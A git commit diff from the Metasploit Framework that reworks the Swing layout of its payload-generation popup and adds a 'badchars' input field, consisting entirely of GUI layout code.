Merge branch 'master' of github.com:rapid7/metasploit-framework

This commit is contained in:
David Maloney 2011-11-11 17:20:47 -08:00
commit 4eb80b5ee4
14 changed files with 593 additions and 212 deletions

Binary file not shown.

View File

@ -56,79 +56,76 @@
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="0" attributes="0">
<Group type="102" alignment="0" attributes="0">
<Group type="103" groupAlignment="1" attributes="0">
<Component id="descriptionBox" alignment="0" min="-2" max="-2" attributes="0"/>
<Group type="102" alignment="0" attributes="0">
<Component id="generateButton" min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="displayButton" min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="saveButton" min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="handleButton" min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="handleConsoleButton" min="-2" max="-2" attributes="0"/>
</Group>
</Group>
<EmptySpace min="-2" pref="500" max="-2" attributes="0"/>
<Component id="descriptionBox" min="-2" max="-2" attributes="0"/>
<EmptySpace min="-2" pref="1394" max="-2" attributes="0"/>
</Group>
<Group type="102" alignment="0" attributes="0">
<Group type="103" groupAlignment="0" attributes="0">
<Group type="102" alignment="0" attributes="0">
<Component id="outputScrollPane" min="-2" pref="691" max="-2" attributes="0"/>
<EmptySpace pref="26" max="-2" attributes="0"/>
<Group type="102" attributes="0">
<Group type="103" groupAlignment="1" attributes="0">
<Component id="outputPathLabel" min="-2" max="-2" attributes="1"/>
<Component id="encoderLabel" min="-2" max="-2" attributes="1"/>
<Component id="outputLabel" min="-2" max="-2" attributes="1"/>
<Component id="timesLabel" min="-2" max="-2" attributes="1"/>
<Component id="addCodeLabel" alignment="1" min="-2" max="-2" attributes="1"/>
<Component id="badcharsLabel" alignment="1" min="-2" max="-2" attributes="1"/>
<Component id="archLabel" alignment="1" min="-2" max="-2" attributes="1"/>
<Component id="templateLabel" alignment="1" min="-2" max="-2" attributes="1"/>
</Group>
<EmptySpace type="separate" max="-2" attributes="0"/>
<Group type="103" groupAlignment="1" attributes="0">
<Group type="102" alignment="1" attributes="0">
<Component id="outputPathField" pref="453" max="32767" attributes="1"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="choosePathButton" min="-2" pref="91" max="-2" attributes="0"/>
</Group>
<Component id="archField" alignment="0" pref="550" max="32767" attributes="1"/>
<Component id="badcharsField" alignment="0" pref="550" max="32767" attributes="1"/>
<Component id="timesField" alignment="0" pref="550" max="32767" attributes="1"/>
<Component id="outputCombo" alignment="0" pref="550" max="32767" attributes="1"/>
<Component id="encoderCombo" alignment="0" min="-2" pref="540" max="-2" attributes="1"/>
<Group type="102" alignment="0" attributes="0">
<Group type="103" groupAlignment="0" attributes="0">
<Group type="103" alignment="0" groupAlignment="0" max="-2" attributes="0">
<Component id="encoderLabel" alignment="0" max="32767" attributes="1"/>
<Component id="outputLabel" alignment="0" max="32767" attributes="1"/>
<Component id="timesLabel" alignment="0" max="32767" attributes="1"/>
<Component id="outputPathLabel" alignment="0" min="-2" max="-2" attributes="1"/>
<Component id="addCodeLabel" alignment="0" max="32767" attributes="1"/>
</Group>
<Component id="templateLabel" min="-2" max="-2" attributes="1"/>
<Component id="archLabel" min="-2" pref="177" max="-2" attributes="1"/>
<Group type="103" groupAlignment="0" max="-2" attributes="0">
<Component id="addCodeField" max="32767" attributes="1"/>
<Component id="templateField" alignment="0" pref="447" max="32767" attributes="1"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="1" attributes="0">
<Component id="archField" alignment="0" pref="310" max="32767" attributes="1"/>
<Component id="timesField" alignment="0" pref="310" max="32767" attributes="1"/>
<Component id="outputCombo" alignment="0" pref="310" max="32767" attributes="1"/>
<Component id="encoderCombo" alignment="0" pref="310" max="32767" attributes="1"/>
<Group type="102" alignment="0" attributes="0">
<Component id="outputPathField" min="-2" pref="213" max="-2" attributes="1"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="choosePathButton" min="-2" pref="91" max="-2" attributes="0"/>
</Group>
<Group type="102" alignment="1" attributes="0">
<Group type="103" groupAlignment="1" attributes="0">
<Component id="addCodeField" alignment="0" pref="217" max="32767" attributes="0"/>
<Component id="templateField" alignment="1" pref="217" max="32767" attributes="1"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="0" max="-2" attributes="0">
<Component id="addCodeButton" max="32767" attributes="1"/>
<Component id="templateButton" alignment="0" pref="87" max="32767" attributes="1"/>
</Group>
</Group>
<Component id="addCodeButton" pref="97" max="32767" attributes="1"/>
<Component id="templateButton" alignment="0" pref="97" max="32767" attributes="1"/>
</Group>
<EmptySpace type="unrelated" max="-2" attributes="0"/>
<Component id="templateWorkingCheck" min="-2" max="-2" attributes="0"/>
</Group>
</Group>
<EmptySpace min="-2" pref="349" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="templateWorkingCheck" min="-2" max="-2" attributes="0"/>
<EmptySpace min="-2" pref="115" max="-2" attributes="0"/>
</Group>
</Group>
</Group>
<Group type="102" alignment="0" attributes="0">
<Group type="103" groupAlignment="0" attributes="0">
<Group type="102" alignment="0" attributes="0">
<Component id="generateButton" min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="displayButton" min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="saveButton" min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="handleButton" min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="handleConsoleButton" min="-2" max="-2" attributes="0"/>
<EmptySpace min="-2" pref="121" max="-2" attributes="0"/>
</Group>
<Component id="outputScrollPane" alignment="0" min="-2" pref="691" max="-2" attributes="0"/>
</Group>
<EmptySpace min="-2" pref="795" max="-2" attributes="0"/>
</Group>
</Group>
</DimensionLayout>
<DimensionLayout dim="1">
<Group type="103" groupAlignment="0" attributes="0">
<Group type="102" alignment="0" attributes="0">
<EmptySpace min="-2" pref="54" max="-2" attributes="0"/>
<Group type="102" alignment="1" attributes="0">
<EmptySpace min="-2" pref="119" max="-2" attributes="0"/>
<Component id="descriptionBox" min="-2" max="-2" attributes="0"/>
<EmptySpace min="-2" pref="78" max="-2" attributes="0"/>
<EmptySpace type="separate" max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="generateButton" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="displayButton" alignment="3" min="-2" max="-2" attributes="0"/>
@ -137,47 +134,52 @@
<Component id="handleConsoleButton" alignment="3" min="-2" max="-2" attributes="0"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Component id="outputScrollPane" max="32767" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
<Component id="outputScrollPane" pref="12" max="32767" attributes="0"/>
<EmptySpace min="-2" pref="6" max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="outputPathLabel" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="outputPathField" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="outputPathLabel" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="choosePathButton" alignment="3" min="-2" max="-2" attributes="0"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="encoderLabel" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="encoderCombo" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="encoderLabel" alignment="3" min="-2" max="-2" attributes="0"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="outputLabel" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="outputCombo" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="outputLabel" alignment="3" min="-2" max="-2" attributes="0"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="timesLabel" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="timesField" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="timesLabel" alignment="3" min="-2" max="-2" attributes="0"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="badcharsField" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="badcharsLabel" alignment="3" min="-2" pref="23" max="-2" attributes="0"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="archLabel" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="archField" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="archLabel" alignment="3" min="-2" max="-2" attributes="0"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="templateLabel" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="templateField" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="templateLabel" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="templateButton" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="templateWorkingCheck" alignment="3" min="-2" max="-2" attributes="0"/>
</Group>
<EmptySpace max="-2" attributes="0"/>
<Group type="103" groupAlignment="3" attributes="0">
<Component id="addCodeLabel" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="addCodeField" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="addCodeLabel" alignment="3" min="-2" max="-2" attributes="0"/>
<Component id="addCodeButton" alignment="3" min="-2" max="-2" attributes="0"/>
</Group>
<EmptySpace min="-2" max="-2" attributes="0"/>
<EmptySpace max="-2" attributes="0"/>
</Group>
</Group>
</DimensionLayout>
@ -407,6 +409,17 @@
<EventHandler event="actionPerformed" listener="java.awt.event.ActionListener" parameters="java.awt.event.ActionEvent" handler="addCodeButtonActionPerformed"/>
</Events>
</Component>
<Component class="javax.swing.JLabel" name="badcharsLabel">
<Properties>
<Property name="text" type="java.lang.String" resourceKey="badcharsLabel.text"/>
<Property name="name" type="java.lang.String" value="badcharsLabel" noResource="true"/>
</Properties>
</Component>
<Component class="javax.swing.JTextField" name="badcharsField">
<Properties>
<Property name="name" type="java.lang.String" value="badcharsField" noResource="true"/>
</Properties>
</Component>
</SubComponents>
</Container>
</SubComponents>

View File

@ -13,6 +13,7 @@ import javax.swing.GroupLayout;
import javax.swing.GroupLayout.ParallelGroup;
import javax.swing.GroupLayout.SequentialGroup;
import javax.swing.JFileChooser;
import javax.swing.LayoutStyle;
/**
* Popup for generating payloads and starting handlers.
@ -74,26 +75,28 @@ public class PayloadPopup extends ModuleInfoWindow {
templateWorkingCheck.setVisible(saving);
timesField.setVisible(saving);
timesLabel.setVisible(saving);
badcharsField.setVisible(saving);
badcharsLabel.setVisible(saving);
addCodeButton.setVisible(saving);
addCodeLabel.setVisible(saving);
addCodeField.setVisible(saving);
GroupLayout mainPanelLayout = (GroupLayout)mainPanel.getLayout();
//HORIZONTAL GROUPING
ParallelGroup labelGroup = mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING);
ParallelGroup labelGroup = mainPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING);
//make label group
for(int i = 0; i < optionalOpts.size(); i+= 2)
labelGroup = labelGroup.addComponent((Component)optionalOpts.get(i), javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE);
labelGroup = labelGroup.addComponent((Component)optionalOpts.get(i), GroupLayout.PREFERRED_SIZE, GroupLayout.PREFERRED_SIZE, GroupLayout.PREFERRED_SIZE);
//make text box group
ParallelGroup textBoxGroup = mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING);
ParallelGroup textBoxGroup = mainPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING);
for(int i = 1; i < optionalOpts.size(); i+= 2)
textBoxGroup = textBoxGroup.addComponent((Component)optionalOpts.get(i));
//put it together
mainPanelLayout.setHorizontalGroup(
mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
mainPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING)
.addGroup(mainPanelLayout.createSequentialGroup()
.addContainerGap()
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING)
.addComponent(titleLabel)
.addComponent(descriptionBox)
.addComponent(authorsLabel)
@ -101,116 +104,122 @@ public class PayloadPopup extends ModuleInfoWindow {
.addComponent(versionLabel)
.addGroup(mainPanelLayout.createSequentialGroup()
.addGroup(labelGroup)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(textBoxGroup)
.addContainerGap())
.addGroup(mainPanelLayout.createSequentialGroup()
.addComponent(generateButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addComponent(displayButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addComponent(saveButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(handleButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addComponent(handleConsoleButton))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup()
.addComponent(outputScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 40, Short.MAX_VALUE)
.addGroup(GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup()
.addComponent(outputScrollPane, GroupLayout.DEFAULT_SIZE, 40, Short.MAX_VALUE)
.addContainerGap())
.addGroup(mainPanelLayout.createSequentialGroup()
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(encoderLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(outputLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(archLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(timesLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(outputPathLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(templateLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(addCodeLabel, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(encoderCombo, 0, 188, Short.MAX_VALUE)
.addComponent(outputCombo, 0, 188, Short.MAX_VALUE)
.addComponent(archField, javax.swing.GroupLayout.DEFAULT_SIZE, 188, Short.MAX_VALUE)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup()
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(templateField, javax.swing.GroupLayout.DEFAULT_SIZE, 110, Short.MAX_VALUE)
.addComponent(outputPathField, javax.swing.GroupLayout.DEFAULT_SIZE, 110, Short.MAX_VALUE)
.addComponent(addCodeField, javax.swing.GroupLayout.DEFAULT_SIZE, 110, Short.MAX_VALUE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.TRAILING)
.addComponent(encoderLabel, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE)
.addComponent(outputLabel, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE)
.addComponent(archLabel, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE)
.addComponent(badcharsLabel, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE)
.addComponent(timesLabel, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE)
.addComponent(outputPathLabel, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE)
.addComponent(templateLabel, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE)
.addComponent(addCodeLabel, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE))
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING)
.addComponent(encoderCombo, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(outputCombo, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(archField, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(badcharsField, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(GroupLayout.Alignment.TRAILING, mainPanelLayout.createSequentialGroup()
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.LEADING)
.addComponent(templateField, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(outputPathField, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(addCodeField, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.TRAILING)
.addComponent(templateButton)
.addComponent(choosePathButton)
.addComponent(addCodeButton)))
.addComponent(timesField, javax.swing.GroupLayout.DEFAULT_SIZE, 188, Short.MAX_VALUE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(timesField, GroupLayout.DEFAULT_SIZE, GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addComponent(templateWorkingCheck)))
.addContainerGap()));
//VERTICAL GROUPING
SequentialGroup groupie = mainPanelLayout.createSequentialGroup().
addComponent(titleLabel).
addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED).
addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).
addComponent(descriptionBox).
addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED).
addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).
addComponent(authorsLabel).
addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED).
addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).
addComponent(licenseLabel).
addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED).
addPreferredGap(LayoutStyle.ComponentPlacement.RELATED).
addComponent(versionLabel);
for(int i = 0; i < optionalOpts.size(); i+=2){
groupie = groupie.addGroup(mainPanelLayout.createParallelGroup(
javax.swing.GroupLayout.Alignment.BASELINE)
GroupLayout.Alignment.BASELINE)
.addComponent((Component)optionalOpts.get(i)) //LABEL
.addComponent((Component)optionalOpts.get(i+1), //TEXT BOX
javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED);
GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE,
GroupLayout.PREFERRED_SIZE))
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED);
}
groupie = groupie
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE)
.addComponent(generateButton)
.addComponent(displayButton)
.addComponent(saveButton)
.addComponent(handleButton)
.addComponent(handleConsoleButton))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(outputScrollPane, javax.swing.GroupLayout.DEFAULT_SIZE, 30, Short.MAX_VALUE);
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addComponent(outputScrollPane, GroupLayout.DEFAULT_SIZE, 30, Short.MAX_VALUE);
if(saving)
groupie = groupie.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
groupie = groupie.addPreferredGap(LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE)
.addComponent(outputPathLabel)
.addComponent(outputPathField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(outputPathField, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(choosePathButton))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE)
.addComponent(encoderLabel)
.addComponent(encoderCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(encoderCombo, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE)
.addComponent(outputLabel)
.addComponent(outputCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(outputCombo, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE)
.addComponent(timesLabel)
.addComponent(timesField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(timesField, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE)
.addComponent(badcharsLabel)
.addComponent(badcharsField, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE)
.addComponent(archLabel)
.addComponent(archField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(archField, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE))
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE)
.addComponent(templateLabel)
.addComponent(templateField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(templateField, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(templateButton)
.addComponent(templateWorkingCheck))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addPreferredGap(LayoutStyle.ComponentPlacement.RELATED)
.addGroup(mainPanelLayout.createParallelGroup(GroupLayout.Alignment.BASELINE)
.addComponent(addCodeLabel)
.addComponent(addCodeField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(addCodeField, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)
.addComponent(addCodeButton));
groupie = groupie.addContainerGap();
mainPanelLayout.setVerticalGroup(mainPanelLayout.createParallelGroup(
javax.swing.GroupLayout.Alignment.LEADING).addGroup(groupie));
GroupLayout.Alignment.LEADING).addGroup(groupie));
}
/** Displays payload info and options. */
private void showOptions(String fullName) {
@ -257,6 +266,8 @@ public class PayloadPopup extends ModuleInfoWindow {
addCodeLabel = new javax.swing.JLabel();
addCodeField = new javax.swing.JTextField();
addCodeButton = new javax.swing.JButton();
badcharsLabel = new javax.swing.JLabel();
badcharsField = new javax.swing.JTextField();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
setName("Form"); // NOI18N
@ -389,6 +400,11 @@ public class PayloadPopup extends ModuleInfoWindow {
}
});
badcharsLabel.setText(resourceMap.getString("badcharsLabel.text")); // NOI18N
badcharsLabel.setName("badcharsLabel"); // NOI18N
badcharsField.setName("badcharsField"); // NOI18N
javax.swing.GroupLayout mainPanelLayout = new javax.swing.GroupLayout(mainPanel);
mainPanel.setLayout(mainPanelLayout);
mainPanelLayout.setHorizontalGroup(
@ -397,62 +413,62 @@ public class PayloadPopup extends ModuleInfoWindow {
.addContainerGap()
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(mainPanelLayout.createSequentialGroup()
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(descriptionBox, javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.LEADING, mainPanelLayout.createSequentialGroup()
.addComponent(generateButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(displayButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(saveButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(handleButton)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(handleConsoleButton)))
.addGap(500, 500, 500))
.addComponent(descriptionBox)
.addGap(1394, 1394, 1394))
.addGroup(mainPanelLayout.createSequentialGroup()
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(outputPathLabel)
.addComponent(encoderLabel)
.addComponent(outputLabel)
.addComponent(timesLabel)
.addComponent(addCodeLabel)
.addComponent(badcharsLabel)
.addComponent(archLabel)
.addComponent(templateLabel))
.addGap(18, 18, 18)
.addGroup(mainPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(mainPanelLayout.createSequentialGroup()
.addComponent(outputScrollPane, javax.swing.GroupLayout.PREFERRED_SIZE, 691, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 26, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(mainPanelLayout.createSequentialGroup()
